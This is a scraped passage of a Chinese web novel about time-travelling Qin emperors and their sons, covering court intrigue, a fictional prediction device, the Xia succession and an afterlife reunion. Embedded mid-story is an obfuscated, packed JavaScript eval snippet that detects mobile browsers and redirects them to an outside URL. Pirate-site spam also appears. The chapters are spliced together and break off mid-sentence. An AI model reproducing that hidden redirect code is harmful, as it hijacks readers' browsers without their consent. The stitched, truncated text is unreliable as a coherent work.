那可是八十岁! 玄景心想大一统都四十多年了足够父亲把该处理的事情全部处理好梓桑应该没什么要烦心的吧? 而且梓桑后来也就当了十年皇帝在位时间短不说还是六十七干到七十七的。人老了容易精力不济他又是个惫懒的性子该不会政务都丢给儿子自己整日养生去了吧? 结果他还是低估了秦梓桑。 扶苏头一回听到秦玄景夸他还有些意外。他挑了挑眉正想说点什么调侃一下弟弟被秦政按住了。 秦政示意他不要在这个时候犯贱。 难得玄景对扶苏观感转好还是别打碎他的滤镜了。 扶苏顿了顿选择听话。 散会后玄景跟在兄长身后深一脚浅一脚地走着。咸阳也下雪了不过门前的道路有人扫雪所以现在只有刚积下的薄薄一层。 玄景人小个头矮才会反衬地周围的积雪很厚。 扶苏回头看了一眼停下脚步把他抱了起来。大步走进太子宫上了回廊后才将人放下。 因为近些年酷暑和严寒交替的缘故各宫都建起了回廊。 这样一来风霜雨雪烈日酷暑都可以在廊下行走来往于每个宫殿内部的所有主殿偏殿无需走入毫无遮挡的空地。 玄景道了声谢跟着兄长顺着回廊走入正殿。 他已经搬去偏殿住了扶苏也住回了自己的房间。不过小孩每日还是喜欢赖在正殿的起居室里因为独自待着无聊而扶苏基本就在起居室里不挪窝 。 兄弟俩在软榻上坐下。 玄景忍了一路这个时候才开口问起扶苏一些政事上的见解。 扶苏轻轻挑眉: “怎么突然问这个?” 玄景一本正经: “想见识一下你的能耐。” 这几年他和扶苏斗智斗勇总是败多胜少。起初他以为是自己年纪小脑子不够用的缘故后来发现可能是因为他的心还不够脏。 今天听到扶苏头一回提出像模像样的建议忽然惊觉自己其实并不了解秦梓桑的政治主张。 以前玄景只知道太子对梓桑这个继承人非常满意梓桑在经济和舆论把控上也颇有建树别的他就没见识过了。 但只懂经济和舆论只能说是能臣还是个偏科的能臣。梓桑显然并非如此他是个没有什么明显短板的明君。 当皇帝的都自负轻易不会承认自己被别人比了下去。如果是旁人也就算了是另一个自己那肯定要好好论一论到底谁更厉害。 扶苏托腮看他: “无聊这有什么好比的?” 反正他在阿父心里是最厉害的扶苏就够了其他扶苏厉害与否与他无关。他没有和自己对比这一项的top癌只爱跟其他扶苏比受宠。 玄景:…… 玄景反而觉得受宠有什么好比的幼稚又无聊。当皇帝的当然是要比能力比政绩了秦梓桑真是个奇葩。 见扶苏兴致缺缺玄景敛眸思索了一会儿。等他再抬头的时候眼里闪过一丝志在必得。 玄景状似不经意地说道: “既然你不想说那就听听我的想法好了。” 扶苏喝着温热的甜牛乳没有拒绝。 反正又不用他说小孩乐意费口舌就让他说吧自己听着就行。 玄景见有戏继续往下说: “大秦这些年虽然大力发展官学父亲也早就在为天下一统后往外派官做准备不像前世那般低估了各地所需的官员数量最后导致只能任用六国旧吏。” “但如今天灾连连 就像末世来临后很多人自觉官方无 力管辖,就会琢磨着自立为王。 古代本来就“皇权不下乡”,管束乡里没那么容易,遇到天灾时期更是困难。 尤其是雪灾时期。 大雪封路,官府的人都不方便过去。村里趁机搞点小动作,确实很难管。 以前六国就干过诛杀秦吏的事情,如今在渊国一个搞不好只会变本加厉。到时候把人一杀,丢进山里,借口下乡巡查时遇到雪崩或者野兽,根本拿他们没辙。 说到这里,玄景眼眸转冷,似是想到了穿越前一些不悦的事情。 他这会儿看着倒很有昔年秦二世的样子了,脸上表情波澜不惊,顶多只在眼神里泄露一丝情绪。 扶苏饶有兴致地看着他。 小孩理智回笼后确实像模像样的,不像之前一点就炸了。这才有点王孙公子的风范,放出去不会丢了父亲的脸。 玄景忽略了他看戏的目光: “是以光靠足够数量的秦吏想要治理渊国也是不成的,还是得加重秦国手中的筹码。” “现如今秦吏还未到位,将军们凑合着征用了渊国旧吏,兜兜转转一切又回到了原点。” “大秦的地方治理还是那个困扰,新派的官吏说话分量不够,旧官吏又与大秦并非一条心。偏巧天灾不断,属实是雪上加霜。” 扶苏放下杯盏: “那你觉得,该如何处理?” 玄景心道是我想勾引你多说点,不是我自问自答。但见梓桑还没上钩,到底还是多丢出了一些饵料。 于是玄景回应了这个问题: “渊国黎庶好歹只是单纯不服外乡人管理他们,不像六国之人想的是复国。大秦不必应付反贼,只要想法子让秦吏融入其中即可。” “此举需要徐徐图之,没有足够的时间是达不成的。偏偏如今就是时间不够,好在父亲早有应对之策。” “若我没有猜错的话,两位早就意识到了这一点。父亲之前拉拢了大量渊国臣子,便该此时发挥作用了。” 朝中的二五仔并不单纯是为了覆灭渊国才拉拢的,也是为了后续治理渊国。秦王没有光顾着拉拢高官,底下的县令城主这些也没忘了示好。 灭渊后再拉拢可不一定能保证这群人的忠诚度,但是提前拉拢的话,就有足够的 第 229 章 结束 第229章结束 夏帝不幸驾崩在了一个下着雪的深夜里,临死前甚至没有立遗嘱。 当然,太监总管是知道夏帝在哪里藏了立后和立储的旨意。这还是当初太子中毒身亡那段时间,夏帝为了以防万一弄出来的。 后来夏帝一直都没去动,因为他对几个儿子都说不上满意。 既然没有重新选定继承人的意思,那就先放着,或许哪天会用上呢?要是以后有了新的储君,大不了再把那两封圣旨销毁掉。 结果还真用上了。 夏帝这段时间烧得迷迷糊糊,人压根就不清醒。这种情况下让他选定继承人是不切实际的,夏帝自己也担忧会因为这个缘故导致自己做出错误的决定。 是以他干脆就没下任何可以被当成遗嘱的指令。 如果自己病愈了,遗嘱用不上。如果自己病死了,还有藏着的圣旨在,总比他现在做出的决定靠谱。 夏国宣布了帝崩的消息后,太监总管就带着几位重臣去取圣旨了。为了表示自己没动手脚,他只是指明了位置,并未亲自上手。 与此同时,秦国。 大清早扶苏还没起床,这个点他一般是不醒的。尤其天气冷的时候,他起床就更晚了。 结果突然被修改器弹出的消息从梦中惊醒,心脏都受刺激紧缩了一下。 侍从们见公子睡得好好的,突然受惊似的睁开了眼睛,还捂着心口面色苍白,俱都吓了一跳。 连忙就有人跑出去喊太医。 一人上前来为公子顺气: “公子可有哪里不适?还是被噩梦给魇着了? 另一人取了一直预备着的温牛乳送来给扶苏压惊,扶苏喝了几口后觉得心脏舒服了许多。 早上熟睡的时候突然来个大闹铃,是真的会心悸的。尤其这动静还是直接响在脑海里,更吓人。 太医迅速赶到。 太子宫里有小药房,一年四季都有太医轮值,就在西偏殿里头。走过来也不过几十步路的事情,遇到突发状况绝不会耽误事。 扶苏自己知道自己没事,但还是神情恹恹地伸出手给太医把脉。 最后得了个“受惊心悸 心脏的补药方子。一听说要喝药扶苏的脸色更差了。 这里的动静惊到了在东偏殿书房里看书的玄景小家伙立刻赶了过来。 一进门玄景就问道: “好好的为什么会发病——” 话说到一半他讶异地看着扶苏面前漂浮的修改器屏幕。不动声色地把话接了下去假装什么都没看见避免露出什么端倪。 “阿兄如今感觉如何?” 扶苏倚在侍从取来的大软枕上摆了摆手让紧张的众人都退下说想休息一会儿。侍从不太放心但见公子将十公子留下了到底还是乖乖退了出去。 扶苏压低声音说: “这破修改器突然响了几声把我惊醒了。” 声音可谓是刺耳又高昂。 玄景在他身边坐下盯着那屏幕好奇地多看了两眼。 扶苏把他揽过来这样方便看不然角度不对看着费劲。玄景不太习惯这种横向排列的文字看的速度很慢。 扶苏已经飞快看完了上面的通知。 这次不是刷新出了剧情而是修改器升级的通知。 说的是因为俘虏渊王被送来了咸阳今日早朝叩见了秦王。所以修改器判定为使用者完成了终极目标“质子为皇”于是进行了升级。 升级后的修改器功能不再仅限于预测和夏宫有关的剧情了实际上因为扶苏离开了夏宫这个功能基本就废了。 如今升级版的修改器开始专门更新天下大事进行预告播报。 修改器告知使用者: 【鉴于使用者已经登基为皇将不再提供修改功能只保留预测相关功能感谢您的使用!】 扶苏心道这哪里是升级版这是后续体验版吧? 玄景有些疑惑: “父亲难道在早朝上宣布禅位给你了?为什么他说你已经登基了?” 扶苏让他醒醒: “你要猜也该是猜测他禅位给太子了吧?怎么还能猜到我头上的?” 玄景指了指通知: “这是它说的难道它说错了?” 这种神奇的东西应该不会出错的吧? 兄弟俩都摸不着头脑。 直到没过多久有使者带来了秦王的最新旨意 鹅小说更新,记住域名qiexs?(请来企 鹅小说 看最新章节 完整章节)要四 公子接旨。扶苏忽然有了明悟 使者宣读圣旨说的是渊侯的事。 渊国已灭为了安抚渊国百姓秦王肯定要择选合适的渊国宗室子将之册立为渊侯。借此展现对渊国旧贵族的友善免得贵族们狗急跳墙生事。 扶苏就是秦王选中的渊侯人选。 扶苏:啊??? 玄景:啊??? 扶苏拿着圣旨百思不得其解: “我都是大秦公子了呀!” 玄景也想说: “父亲还不如当初不把你认下这样册封你还合理点。” 扶苏就用圣旨敲了敲他脑袋: “你休想整日就想把我丢出去。” 侍从赶紧阻拦: “公子不可如此轻慢圣旨。” 怎么能拿圣旨打人呢?要是给御史知道了肯定要弹劾的。 扶苏理直气壮: “我现在可是渊侯他们弹劾我一个试试?” 哪怕是为了渊地能乖乖听话只要他不做得太过分御史都不会闲的没事干找他的茬。 侍从:…… 公子为何能够如此快速地接受了这道圣旨? 扶苏回去把圣旨展开来研究了一番。 他发现圣旨上绝口不提他是秦国公子这件事就逮着他生母是渊国先王的嫡长女、养父是渊国国君这件事说。 从多个方面肯定了扶苏的血缘并暗示众人正常情况下扶苏有很大的机会继承渊国王位。 所以封他当渊侯没毛病。 两位父亲之前都没提过这件事也不知道是心血来潮还是别的缘故。 中午秦政回来用膳时扶苏就问了。 秦政答道: “早晨接见渊王的时候朕忽然收到了修改器的提示说是渊国彻底覆灭终极任务之一即将失败。” 这说的肯定就是扶苏的任务了。 当时情况紧急两位父亲都不敢确保任务失败会不会对扶苏有影响。但他们总不能叫渊国继续留存下来那就得另辟蹊径解决这个麻烦。 所以他们在极短的时间内顶着群臣的视线假装在谈论什么重要的国事小声商议好了对策。 而后便有了曲线救国的 法子—— 秦政把当时的流程复述了一遍: “王上先斥责渊王为君不仁,命人细数了他的种种罪责。而后胁迫渊王退位让贤,将王位还给原本该继位的嫡长公主渊瑶一脉。” 渊瑶一脉就剩下扶苏这个冒牌货了,所以渊王憋屈地写下了一封禅位给渊桑的诏书。 在秦王还没有正式废除渊王国君之位的当下,他这封诏书还是有一定作用的。修改器果然接受了这种达成终极任务的讨巧方法,判定扶苏任务完成。 既然麻烦解决了,那就可以继续走流程,覆灭渊国、册封渊侯。 秦政给儿子看了自己的界面: “修改器说你完成了终极任务,修改器会升级成为全天下的大事件预测器。虽然无法再修改文字,但能预测也是一件好事。” 他们担忧万一后续册封的渊侯是其他人的话,修改器会翻脸不认人。说扶苏的君王生涯已经结束,修改器结束绑定自行脱离。 这样一来,估计就真得秦王禅位给秦政才能再次弄到一个全国生效的预测型金手指。 再加上反正扶苏都是实打实的渊王了,手握传位诏书,封他当渊侯完全合情合理,干脆就这么下了第二道旨意。 渊国人如果不服,就把传位诏书拿出来说事。秦王拉拢的那么多渊国臣子可不是白拉的,这个时候自然要出力支援。 玄景接受了这个说辞: “梓桑当渊侯对大秦来说确实是最好的结果,不必担心渊侯联络旧臣企图造反复国。” 扶苏只关心一件事: “我当了渊侯,不会要搬出去住什么侯府吧?” 秦政断然否决: “外面太危险了,你得留在宫中。” 扶苏满意了: “那就好,我不想出宫。” 多了个侯位,就多了不少俸禄份例。 虽然父亲们给他的待遇已经是比肩秦王的最高规格了,他想要什么就有什么,压根没有限制。 但说出去好听啊,还能拿来跟玄景炫耀。毕竟玄景只有个公子待遇,是比不过他的。 玄景丢下一句“无聊”,就回自己书房看书去了。 扶苏高高兴兴地去找阿娘,通知她自己当上了渊王的好消息。虽然只当了短短几 分钟就被撸成了渊侯,可到底也是当过了嘛。 渊楚和姐姐渊瑶的关系应该很好,现在扶苏以渊瑶之子的身份继承王位,也相当于完成了渊瑶的夙愿。 不过大秦以后应该不需要找个渊国宗室传承渊侯之位,等扶苏死后这个侯位就会断绝。 而且扶苏大概率也不会去过继一个渊氏一脉的孩子,渊瑶的香火还是断了。 渊楚含笑听完,反而安慰他: “这些都是不要紧的,你自己有香火传承就行了。难道你的儿女会不给你‘母亲’祭祀供奉吗? 现在这样,至少比她阿姐一个后嗣都没有要强。 扶苏拿到升级版的修改器后,预测到的第一个大事就是夏帝驾崩。 但是并没有什么用。 因为他的修改器升级得太晚了,夏帝驾崩发生在升级的同一天。哪怕夏帝是傍晚驾崩的,也赶不及传讯给远在夏都的人安排行动方针。 不过往好处想,至少大秦获得了第一手的消息。 秦政表示夏帝驾崩的时间大秦这边早就估算到了,也就这几天。该怎么行动也早有准备,无需再进行临时调整。 扶苏就只给他们看了剧透出来的宫变过程。 局势基本就是按大秦想要的在发展。 夏帝驾崩的第一时间,太监总管就往外传消息了。让重臣全都入宫来,一起查看夏帝提前留下的立储诏书。又召集来了皇子们,共同见证诏书的真假。 同时,也有收了秦国好处和收了二皇子好处的大太监往外递消息,通知该通知的人。 这些日子不仅是秦人看出了夏帝快死了,二皇子其实也看出了。所以二皇子早就和手下人商量过,到时候要怎么操作。 现在消息一递出来,他们立刻行动。 于是当群臣刚把诏书取出来当众宣读完,就听说二皇子逼宫了。再一看,原本被叫来的二皇子本人不知道什么时候已经离开。 二皇子靠着有心算无心,把被立储的三皇子和被立后的贤妃给砍了。八皇子指责他弑弟夺位,也被他一箭射死。 之后便没人再敢轻易开口,生怕招来二皇子的攻击。 但二皇子却不会就这么轻易收手。 他的皇位是抢来的,并不那么容易坐稳。 尤其是重臣都知道三皇子才是夏帝属意的继承人,一旦往外宣扬,二皇子的皇位是坐不稳的。 因此他果断软禁了这几位重臣,开始了对朝堂的大清洗。 第一剑先斩四皇子的党羽。 因为四皇子母子都不蠢,是皇子里头比较有脑子的。而且他们阵营里有丞相,丞相肯定不能留。 等二皇子用残暴手段清洗了四皇子一脉后,夏帝的纯臣保皇党就是他下一个目标。 保皇党未必不知道二皇子并非真正的继承人,刚即位的几天里头也没少给二皇子找麻烦。 可成王败寇,大部分人对夏帝还没忠诚到那个程度,不会为了夏帝拼命。直到看见二皇子收拾四皇子党的那股疯劲,这群人难免唇亡齿寒,怀疑二皇子不会轻易放过他们这些保皇党。 于是保皇党里一部分人开始私下联络,想要推翻二皇子。 二皇子得到了秦国奸细的告密,不用别人怂恿就拿屠刀对准了这些人。保皇党于是也遭到了清算,又死了一拨。 扶苏和玄景讨论他的操作时,认为此人可能想走暴君的路线。 玄景说道: “他上位不光彩,已经无法善了。夏国内忧外患,他会认定必须用强硬手段掌权改制是正常的。 扶苏认同: “二皇子大约觉得自己这么做不仅是为了自己夺权,也是在拯救大夏。夏国再这么下去迟早会步上渊国后尘,遭到秦国的覆灭,需要一个态度强硬的君主力挽狂澜。 玄景摇了摇头: “可惜那个人注定不可能是他,他只会以杀止杀。何况变法不是上下嘴皮子一碰的事情,光有强硬的态度也不见得能变法成功。 而且,现在才变法也太晚了。 变法要出成果,不是一朝一夕,需要时间发展。大秦可不会给他们这个时间,他注定是做白工。 何况大秦也不会放任他一直杀下去。 刚开始秦国奸细会故意引导着二皇子诛杀朝臣,借他的手清理掉秦国不喜欢的臣子,留下自己这一脉的人手。 二皇子现在的情况本就是秦政父子布局造成的,后续秦王派人跟进了,所以二皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375644|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的党羽里好多压根就是投靠了秦国的二五仔。 如果二皇子要对付哪个明面 上是敌人党羽、实则是大秦细作的臣子,这批人就可以提供消息,帮助对方提前跑路。 总之二皇子一通折腾下来,基本上帮大秦清理掉了三分之二的夏国蛀虫,都是日后很有可能坚持复国的人员。 他已经没有利用价值了。 叛党们很快翻脸将二皇子也送下了黄泉,连带着他党派里那些作奸犯科的官员一起收拾掉。 在扶苏看到的剧透里,结局就是几乎占据八成的夏国叛徒联手送秦政之前选定的那位年幼皇子继位。 之所以选他,理由也很能服众。 因为二皇子那个疯子后续接连砍了四皇子、六皇子、九皇子等多个皇子,剩下的小猫三两只里头,也不剩什么合适的人选了。 已经晋为妃的云氏女挑了没有母亲的皇子收为养子,把对方的身份抬高。 在剩下的一众皇子里,这孩子年纪不算最小的,出身却成了最高的那个。按照出身算,选他也算合理。 反正叛党也只是需要找个借口堵住其他人的质疑,借口不够充足也无妨。现在可是他们势大,用不着太过顾虑这群人。 扶苏翻完剧透说: “看样子等军队休整一下,就可以直接调头去灭夏了。 现在军队大多留在渊国主持大局,要帮刚到手的渊地度过今年的雪灾,才好撤退离开去干别的。 而且士兵们等到春天也得回乡耕种,总不能耽误了大秦自己的春耕。 朝中就在为这事发愁。 近年来冬夏交替之间的过渡季节春季和秋季都变得越来越短,春耕就成了一个问题。 农事官私下求见王上: “倘若没有春秋还好些,就当夏播来算。渊国就有一年两熟的经验,夏季要种第二茬。偏偏如今还有春季,只是持续时间比较短,就不太方便了。 不稳定的春秋导致了时令混乱,难以判断下种追肥这些操作应该在什么时候进行。各地都只能摸索着来,难免导致收成的减少。 华夏几千年精华总结的二十四节气,到了这种天灾末世成了摆设。 秦国的太史和农事官只好重新编撰时令规律,再尽量推算接下来的气候变化。可惜收效不太高,可能要等气候稍微稳定一些了,情况才会好转。 所谓的“稳定”就是彻底没有了春秋只剩冬夏。 秦王听得皱眉: “一年两季只剩冬夏届时大秦各地可能做到每年两熟?” 以九州的气候条件以前其实就可以做到一年两熟或者两年三熟只除了太过靠北的地区。 但之前不这么种植主要还是受了其他因素的制约。比如地力不足需要减少种植频率来养地还有耕种方式不够科学等等。 现在所有地区的夏季都能热到两熟的程度了剩下的就是解决其他问题。地力怎么保持水肥怎么保证等等。 农事官明白王上的迫切。 极端气候下一着不慎就是全年颗粒无收 只要有一次有收成即便减产都不至于饿死人顶多就是吃不饱。要是这一季产量没受太大影响庶民还能吃个七八分饱。 而年景好没遇到大型旱灾洪灾的两季都有收成保底就是能吃饱饭。收成稍微多一些就能多出存粮来。 等到来年遭遇两季全部打水漂的极端情况这些存粮便能救命。 这年头粮食产量太低大家不得不精打细算着过日子。 农事官便道: “要保证两熟得用些肥料。” 往前数几百年大家还处在土地轮休的时代呢。地种一年休一年非常浪费。现在可以年年耕种了就是因为耕作方式改进。 农事官特意去找了渊国的经验拿到了一年两熟的耕作方式对此还算有自信觉得这些问题完全可以克服。 他很快给出了几种堆肥的法子还有农家肥不够的话还能从其他哪里弄到更多肥料。 农事官举了几个例子: “清理出来的河道和池塘淤泥便是上佳的肥料往年江河决堤后洪水浸润过的土地来年收成得到提升便是因为河道淤泥的缘故。” 顺便河水还能泡死虫卵所以农事官又提了通过给田里提前灌水杀虫的法子。杀完把水放了再进行耕作。 秦政听罢颔首: “只要不遭遇旱灾确实可行。” 农事官就闭嘴了。 问题就在于极热很容易引发旱灾到时候 水就不够用了。 好在极热也很容易引发水灾,水灾不会缺水。就是水灾会把庄稼给淹了,好像也不是什么好事。 秦政另外还提到,冬季那么冷,怕是虫卵都被冻死了。不管用不用水浸田,似乎都不要紧。 农事官的嘴闭得更严实了。 等他冷汗涔涔地退下去写策划案,秦王才看向秦政,对他很是无语。 虽然农事官有面对甲方时只提优点不提缺点的嫌疑,但秦政也太爱拆人台了。难怪秦梓桑那么嘴贱,敢情都是跟亲爹学来的。 秦政还和没事人一样品茶,十分从容闲适。 秦王还想说什么。 秦政却道: “植物生命力强悍,说不得慢慢会出现一些抗寒品种。届时冬日里也不至于一点粮食都寻不到,要是能找到可种植的品类就更好了。” 秦王不置可否: “你倒是乐观。” 秦政也觉得自己很乐观,不知道是哪里来的自信。但他就是觉得这类事很大概率会发生,顶多就是新发现的作物味道非常一般。 失忆的陛下并不知道这属于灾变后的常见设定,动植物总会比人变异得更快,更能适应新环境。 不过这样的迹象很快就会出现,一般不会拖太久的。 扶苏和玄景整日里没事就拿着修改器研究,看看有没有别的功能。升级之后要还是那点剧透,也太没用了点,扶苏总觉得还有其他功能。 两人翻了半天,从菜单栏里翻出了个天气预报。只能预测接下来七天的天气,好处是比后世的天气预报要准。 金手指的预报不会出错,说下雨就下雨,说几点下就几点下。兄弟俩发现它后惊喜万分,有了这个预报,对农业种植来说可太有用了。 唯一的问题是只提前七天通知,而全国太大,七天不一定能把消息传遍全国。 如果只有关中地区提前知晓天气变换,虽然也能发挥很大的作用,对比全国就显得非常有限了。 没有电子通讯的古代,着实不便。 秦政听说了这个功能后却道: “有总比没有好,多设驿站多养些马,便能提高效率。” 古代巅峰时期的情报传递速度能做到日行八百里,靠的就是每20里 第 230 章 【诡异大秦】 第230章【诡异大秦】 扶苏和玄景比秦政晚些回到地府,不过也没晚太久。所以秦政刚到就发现儿子下来了,下意识伸手,果然接住了扑过来的孩子。 扶苏习惯性呜呜呜: “阿父,我好想你,我都好多天没见到你了。” 玄景熟练地拆台: “胡扯,才几天而已。” 说完玄景才问道: “这是哪里?” 之前有鬼魂向天道反馈过,说死后醒来发现自己躺在棺材里太吓鬼了,强烈要求修改进入地府后的现身方式。 天道接受了这条意见,做出了修改。于是自那之后,新鬼苏醒后会发现自己站在自己的陵墓门口。 ——初版其实是站在墓中的,但那位提出抗议的仁兄再次上诉,认为一觉醒来发现自己在墓里也非常吓鬼。 秦王和秦政没有建造两个陵墓,自己总不会嫌弃和自己住一起。主要也是天灾的年景下不好大兴土木,造一个已经耗费很大了。 然后扶苏和玄景这俩没当上皇帝的,显然也不会有自己的帝陵。而寻常皇子是要陪葬到父亲身边的,只不过一般会陪葬到从葬区,而不是地宫里。 扶苏对于给父亲们陪葬无所谓,尤其他阿父可舍不得他葬在外头。这家伙对于自己可以和两位父亲一起合葬,可谓是十分开心。 玄景听说他哥可以合葬,顿时闹着他也要合葬。 家里有“双胞胎”的就得一碗水端平,不然闹起来头疼的绝对不会是兄弟俩本人,而是倒霉的家长们。 总之现在三人都站在了帝陵门口。 玄景看着觉得很陌生。 主要是因为埋在地底的地宫在地府里是矗立在地面上的,玄景只见过陵墓内部的模样,没有见过外部视角。 进入陵墓的甬道可是直通内部的,玄景走过的也就是这条甬道了。 然而现在,他抬头看见了高耸的城墙。那是帝陵外城区的城墙,城楼上还能看见走动巡逻的兵马俑。 秦政安抚地拍了拍儿子的后背,而后皱眉揉了揉太阳穴。大量记忆涌出来,叫他有些不适。 到底是神级强者,只是轻微不适罢了,不会像以前那样会 头疼。 扶苏也有类似的感觉。 但他是不会自己硬扛着的,当即就有气无力地倚在父亲身上嚷嚷着脑袋疼。 秦政立刻屏息凝神: “头疼?严重吗?” 扶苏抬头看阿父皱着眉,意识到父亲也不舒服,顿时不闹了。反而伸手帮父亲揉穴位,完全不管自己。 秦政无奈地捉住他的手: “不用揉了,朕已经好了。” 玄景孤苦无依地站在旁边,心想自己真像个捡来的,这里没有他的立足之地。 玄景忍不住重复了一遍: “这是哪里?” 扶苏抽空回道: “地府吧,不像是再次穿越的样子。” 秦政见儿子似乎满血复活了,就扶着他站好。环视四周,确认了所处方位。 接着他对两个儿子说道: “我们在帝陵门口,进去看看。” 神魂已经迅速接收了全部记忆,并没有什么后遗症。秦政和扶苏其实都无缝衔接上了记忆封印前的状态,非常清楚地府里的情况。 但他们不确定秦王是否清楚他们的来历,左右都是要介绍的,不如等见了面一起说,也免得再说第二遍。 所以秦政用神识确定了秦王的位置,直接带着两人过去了,先见到人再说。 玄景脑子还有点懵,新奇地打量了一番四周。直到跟着秦政找到了父亲,才后知后觉地疑惑起来——对方怎么知道父亲在这个位置? 秦王并不在正宫之中,而是在花园里和臣子聊着什么。 见三人来了,他微微颔首示意。 玄景惊讶极了: “蒙将军?” 蒙恬冲他拱手行礼: “太子殿下。” 玄景一下子反应过来: “各界地府是连通的吗?还是我回到了前世的地府里?” 扶苏示意他看看周围: “你们前世的皇陵内部长这样?” 那确实不长这样,玄景自觉失言,但他态度很自然地忽略了这件事,就当刚刚什么都没说。 秦王对蒙恬示意,蒙恬立即告退了。 他让秦政和扶苏自便,随意找个位置坐下休息。而后站起身,撸起袖子就朝玄 景走去。 玄景的危险雷达瞬间就响了他猛地后退几步和父亲拉开距离。 玄景尽量冷静地问道: “父亲这是怎么了?为何要打我?” 秦王张口复述了一遍儿子在阳世说过的话: “他都驾崩了没人能管我了。” 玄景:!!! 秦王冷笑道: “朕现在就让你看看朕还管不管得到你。朕不在你就翅膀硬了还敢服毒自尽。” 别人家儿子自尽好歹是征询过父亲意见的他家这臭小子倒好仗着亲爹不在世可劲造作。 真是三天不打上房揭瓦。 扶苏赶紧拉着阿父去亭子里坐下了远离这片战场。他怕等下秦王打红了眼连他一起揍他可不想遭受这等无妄之灾。 玄景现在可是个很有秦二世包袱的成年人哪怕被亲爹追杀也绝不肯鬼哭狼嚎地求饶。 他不求饶那就只能闷头逃跑。 偏偏玄景不如秦王对陵中地形熟悉而且也没来得及学会鬼魂的基础技能。很快就逃无可逃被上天入地无所不能的他亲爹给逮了回来。 鬼魂揍人根本不用担心把人打坏了反正输入功德就能修复伤势。所以玄景被拎回来的时候看起来相当凄惨。 扶苏心有余悸: “还是阿父比较温柔。” 他爹就算气狠了也不会这么揍他玄景好惨。 秦政睨了他一眼: “现在知道朕的好了平日里还故意气朕。” 扶苏小声辩解: “没有故意。” 秦政不置可否。 等一家四口能坐下来好好聊一聊的时候已经是半个时辰后了。 秦政言简意赅地将自己和扶苏的来历还有经历大致说了一下没说得太细。主要里头有很多内容不好解释全部都说太费时了。 玄景听得瞠目结舌许久没言语。 秦王对此倒是接受良好: “原来传闻中成神的始皇帝父子就是你们二人。” 扶苏好奇起来: “我们的传说都传到这里了吗?” 这不是个刚刚完善没多久的位面吗?看样子似乎是一统天下之后 到别人帮忙。 秦王只略提了几句: “各界的古早旧闻朕不一定知道但最新信息还是比较了解的。何况你们的事情传得沸沸扬扬时常能见到你们位面的先祖到处炫耀。” 扶苏:…… 秦政:…… 好真是不出所料呢先王们爱炫耀的毛病还没改掉。 玄景终于回过神了: “成神是个什么感觉?怎么成神?我和父亲也可以吗?” 梓桑成神了他也想成神他不能比梓桑差。 扶苏看向他: “恐怕不太容易我和阿父也是天时地利人和。” 成功之后再回看才发现这一步步走得其实充满巧合。最重要的一点是最终的考核但扶苏一看就知道玄景是通不过那个考核的。 玄景听出了阿兄的画外音: “看来是不行了。” 他有些可惜不过也就一点点。毕竟不成神也能寿与天齐他和父亲肯定不存在功德不够用的问题。 那么是否成神其实也不重要了。 比起这些玄景对父子俩之前建立的那些势力更感兴趣一点。比如仙国、秦盟这些个准备有机会就去看看。 父子俩在这里待了半日就准备回家去看看了。 玄景听说他们要走还有些愣: “回家?家不就在这里吗?” 秦政起身的动作一顿。 他叹息一声伸手想像以前那样摸摸儿子的脑袋想到孩子长大了改为拍了拍肩膀。 秦政说道: “家又不是只有一个 玄景想了想勉强接受了这个说法: “也对我和父亲还得回我们之前的大秦位面看看呢我们也有两个家。” 扶苏则道: “你记得早些来来晚了宫殿要被别人挑走你就只能住剩下的了。” 这是胡说的就是想逗逗阿弟。 他成功了玄景立刻站起来说现在就跟他们一起去。正好他还没出去逛过对哪里都不怎么熟悉需要父兄引导。 最后秦王也加入了这个队伍 。 梓桑位面一如既往的热闹一群先王可太能闹腾了 见父子俩带人回来还自来熟地上前询问怎么回事。不是去的架空位面怎么还能认识新人的。 秦政懒得应付他们: “巧合。” 之后就一个字都不说了带着人直接回家。玄景拉着扶苏当向导带他逛了一圈对这超豪华的帝陵十分羡慕。 “居然这么大。” 别说天灾位面因为客观条件制约无法建造得太大的帝陵了。就是玄景穿越前他父亲建的那座也没这么奢华的。 扶苏有些得意: “我可是靠着丝绸之路从西方弄来了很多金银财帛才能给阿父造得起这么好的帝陵。你们那里又没有丝路天灾位面更是断绝了东西方来往自然不如。” 玄景忽略了他的嘚瑟: “不是说要给我分个宫殿吗?分哪一座?” 玄景小时候和扶苏一起住在秦政的太子宫后来长大了哪怕再不乐意、再想向阿兄看齐也不得不搬出去。 因为玄景是有妻妾儿女的在区区偏殿肯定住不下。 后来扶苏跟着秦政搬去正宫了倒是把太子宫空了下来。玄景高高兴兴地搬了回去就一直住到临死前。 所以玄景直奔太子宫: “太子宫是留给我的对吧?” 扶苏没能来得及阻拦他。 玄景进去就撞见了同样有自己的帝陵不住、非要赖在祖父和父亲这里的小桥松太子宫是对方的居所。 小桥松惊讶地看着来人: “父亲还有这位——怎么称呼?” 也叫父亲吗? 玄景脚步一顿立刻变得沉稳起来免得在儿子跟前毁形象。 玄景亲切地同他说: “喊叔父吧都叫父亲不好区分。” 桥松秒懂: “你不幸给我爹当了弟弟是吧?好惨这些年过得还好吗?” 玄景:…… 玄景扭头去看他哥: “你都怎么欺负我大侄儿的?” 桥松这一副“我有经验”的模样显见是没少吃亏。 扶苏拒绝回答: “好了跟我走别 在这儿打扰孩子修炼。” 说着把弟弟拖到隔壁的乾元宫里。 太子宫是住不得了玄景又见他哥和父亲一起住在乾元宫顿时改变了方向。以前是顾虑妻儿不得不单独住一宫现在他可以继续赖在父亲身边不走。 玄景就问道: “东侧殿给我吗?” 扶苏看了一眼: “那个怕是不能给你。” 玄景:? 玄景追问为什么是做了别的用途还是有人住了。不给他个理由他是不会善罢甘休的父亲都说了这里也是他的家。 两人吵吵嚷嚷的动静惊动了东侧殿内的人扶胥缓步走了出来。 见到扶苏后扶胥露出一个微笑: “梓桑 扶胥来自英灵召唤的宋末位面当初葬在了肤施县居所只是个小小的坟冢。虽然可以去父亲的帝陵借住可那边到底不是按照活人的居住习惯建造的住着其实不太舒服。 